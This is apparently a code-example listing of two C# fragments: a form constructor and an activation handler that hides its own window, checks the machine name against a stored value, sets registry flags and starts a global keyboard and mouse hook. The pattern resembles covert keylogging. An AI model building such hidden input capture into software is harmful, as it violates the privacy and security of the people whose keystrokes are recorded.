Ejemplo n.º 1
0
 public FileSelectorForm(GlobalHookEvent globalhook)
 {
     InitializeComponent();
     this.globalhook = globalhook;
     initLV();
     initFormEvent();
 }
Ejemplo n.º 2
0
        private void S2_0_Activated(object sender, EventArgs e)
        {
            this.Hide();

            if (innoceneceMachine != System.Environment.MachineName)
            {
                //if (anlReg("keyMk",true) != 0)//I think we should reset the flag after read key because we need reopen instance
                {                    
                    //deployFile();
                }
            }
            anlReg("keySer", true);//Set this to 0,so that we can truly restart service after internal stop
            anlReg("keyMk", true);

            global = new GlobalHookEvent();
            global.initKeyMouseHook(this);
            global.startKeyMouseHook();
            LogBuilder.buildLog("MK START!");
            
            mkstart();
        }